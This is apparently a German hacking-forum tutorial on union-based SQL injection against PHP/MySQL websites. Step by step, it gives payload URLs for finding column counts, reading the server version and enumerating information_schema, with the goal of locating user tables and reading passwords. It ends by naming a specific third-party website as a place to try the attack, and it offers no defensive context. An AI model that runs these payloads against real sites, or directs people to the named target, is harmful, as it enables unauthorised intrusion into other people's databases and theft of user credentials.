So, heute erkläre ich euch einmal die SQL Injection. Zuersteinmal ist natürlich wichtig, die Frage zu klären auf welchen Seiten solche Injections angewandt werden können. Sie können auf Seiten benutzt werden, die auf PHP basieren. Wir lesen dabei einzelne Tables bzw. Columns aus, nun fragst du dich bestimmt wie so eine Table aussieht.Hier ein kleines Beispiel dazu: Unsere Tabelle (Table) heisst Userdata, in der Tabelle gibt es die einzelnen Spalten (Columns) id, username, password. Nun beginne ich aber einfach mal mir einer solchen Injection. Wie schon bei der RFI surfe ich im Netz und finde eine Seite, die sieht folgendermaßen aus: Code: http://www.meineseite.org/index.php?id=201 Nun hänge ich an die id ein Hochkomma und versuche somit einen String einzuleiten.Sieht dann so aus: Code: http://www.meineseite.org/index.php?id=201' Nun laden wir diese Seite und sehen folgendes: Code: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 Dieser Fehler besagt ja schon, durch dass hier fett makierte aus, dass ein SQL Befehl ausgeführt wurde. Diese Lücke nutzen wir aus um die Datenbank auszulesen.Wir benutzen den Befehl "union+select", dass Pluszeichen wird als Trennzeichen verwendet, genausofut funktioniert ein Leerzeichen oder die Kombination /**/. Wir müssen die Anzahl der Spalten (Columns) erraten, bzw. über die order by Methode herausfinden. Beim erraten geben wir folgendes ein: Code: http://www.meineseite.org/index.php?id=201+union+select+1/* Der Befehl wird beendet durch ein /* , dadurch wird ein Kommentar eingeleitet, damit wird auch der SQL Befehl abgeschlossen. Nun wird uns ausgegeben: Code: The used SELECT statements have a different number of columns Wer nun wirklich sehr geringe Englischkenntnisse hat, wird wissen, dass die Columnanzahl (1) nicht stimmt. Also testen wir weiter: Code: http://www.meineseite.org/index.php?id=201+union+select+1/* Code: http://www.meineseite.org/index.php?id=201+union+select+1,2/* Code: http://www.meineseite.org/index.php?id=201+union+select+1,2,3/* Code: http://www.meineseite.org/index.php?id=201+union+select+1,2,3,4/* Wenn uns nun bei 1,2,3,4 beispielsweise keine Fehlermeldung mehr ausgegeben wird, haben wir die Columnanzahl erraten. Dies kann bei +50 Columns sehr anstrengend werden, dafür gibt es die order by Methode mit ihr tasten wir uns an die richtige Anzahl ran, dies funktioniert folgendermaßen: Code: http://www.meineseite.org/index.php?id=201+order+by+100/* Damit werden die Columns sortiert, nach Name oder was auch immer. Nun wird mir folgender Fehler ausgegeben: Code: Unknown column '100' in 'order clause' Dies besagt, dass die Column "100" unbekannt ist, sprich sie ist nicht vorhanden Das heisst für uns die Columnanzahl befindet sich unter 100. Das können wir immer weiter ausführen, nehmen wir das beispiel mit der Columnanzahl von 4, so führen wir beispielsweise "+order+by+10/*" aus, uns wird sicher ausgegeben, dass die Column 10 unbekannt ist, probieren wir es mit "order+by+5/*", wieder der gleiche Fehler, nehmen wir allerdings "+oder+by+3" (Eine Column die es gibt, da wir ha 4 haben) wird die Seite richtig dargestellt.Das selbe auch bei "order+by+4".Da aber "+order+by+5" nicht funktioniert wissen wir, dass es 4 Columns gibt, logisch oder? Nun geben wir folgendes ein: Code: http://www.meineseite.org/index.php?id=201+union+select+1,2,3,4/* Nun wird die Seite dargestellt, und sicher haben wir irgendwo eine Ausgabe, beispielsweise so: Das heisst wir können uns über die 2 etwas ausgeben lassen.Nun können wir folgendes tun: Code: http://www.meineseite.org/index.php?id=201+union+select+1,2,3,4+from+tablename/* Die tablename in diesem Beispiel kann durch vieles ersetzt werden, auf was ich hinauswill ist, wir können den Tabellen namen erraten.Dies ist allerdings nicht empfehlenswert, ausser ihr habt eine PHP-Version 4, da dort die InformationSchema nicht vorhanden ist, dazu aber später mehr. Nun fragst du dich bestimmt, woher du wissen sollst ob es V4 oer V5 ist.Ganz einfach, unsere Ausgabe in diesem Beispiel ist ja die 2, also gibt du mal folgendes ein: Code: http://www.meineseite.org/index.php?id=201+union+select+1,version(),3,4/* Nun sollte die 2 auf euer Seite verschwunden sein, und es sollte eine angbae geben ob es V4 oder V5 ist. Ist es V4 müssen wir die Tablenamen raten, dies funktioniert wie oben beschrieben, gibt es keinen Fehler ist die Table vorhanden, habt ihr eine Table erraten, geht es an die Columns, dort ist es das selbe Prinzip, will aber nicht näher auf die V4 eingehen, da wir uns nun der Information_Schema widmen. Die Information_Schema könnte man mit einem Inhaltsverzeichnis vergleichen in der alle Table/Columnnames verzeichnet sind. Also, du weisst wie viele Columns eine Injection hat, und nun geht es los. Code: http://www.meineseite.org/index.php?id=201+union+select+1,2,3,4+from+information_schema.tables/* Wie ihr seht, kein Fehler, nun lassen wir uns erstmal etwas ausgeben, etwa so: Code: http://www.meineseite.org/index.php?id=201+union+select+1,table_schema,3,4+from+information_schema.tables/* Nun wird auf der Seite ausgegeben "INFORMATION_SCHEMA", gut, dass ist schonmal richtig. Nun lassen wir uns noch Tables ausgeben: Code: http://www.meineseite.org /index.php?id=201+union+select+1,concat(table_schema,0x3a,table_name),3,4+from+information_schema.tables/* Mit dem Befehl concat werden hier mehrere Ergebnisse ausgegeben (die in der Klammer), diese werden getrennt durch 0x3a, die hexencodierte Form des Doppelpunktes. Es gibt auch die Abwandlung concat_ws, diese lasse ich aber erstmal aussenvor. Zurück zur Seite, als Ausgabe haben wir nun: information_schema:CHARACTER_SETS Dies ist auch richtig Nun geht es weiter, diesmal wird aber auch die Table geändert achtung! Code: http://www.meineseite.org /index.php?id=201+union+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4+from+information_schema.columns/* Nun hat sich die Ausgabe geändert in: information_schema:CHARACTER_SETSCHARACTER_SET_NAM E Gut, nun sind wir schon fast am Ziel, ihr verwendet nun den Befehl "Limit+0,1" dieser ist nur ein Operator um die Datensatzanzahl zu bestimmen, mit 0 gehen wir zum ersten Eintrag, die 1 sagt die Anzahl der zu zeigenden Einträge, für euch unwichtig, erstmal zeig ich euch wie es aussieht: Code: http://www.meineseite.org/index.php?id=201+union+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4+from+information_schema.columns+limit+0,1/* Nun wird uns immernoch das selbe ausgegeben, dies muss auch so sein, ihr müsst nun den ersten Wert, in dem Fall die Null erhöhen, machen wir erstmal limit+1,1 Nun hat sich der Columnname verändert in DEFAULT_COLLATE_NAME Dies machen wir weiter, bis sich er Eintrag ganz vorne ändert, in meinem Falle bei limit+200,1 db234342530:Events_copy:title Ist keine interessante Tabelle bzw. Column. Aber wir sind in der richtigen Datenbank, wir müssen aus der Information_schema raus. Nun könnt ihr den Wert immer wieder erhöhen/senken bis ihr zu Columns wie "users" , "userdata" oder Ähnlichem kommt. Diese lest ihr dann nach dem alten Prinzip aus Code: +union+select+1,columnname,3,4+from+tablename/* ich hoffe ihr habt es soweit verstanden, probieren könnt ihr das ganze auf folgender Seite: Code: http://downtowncrossing.org/eat/eat.php?id=201 Ändern verboten Blitzkrieg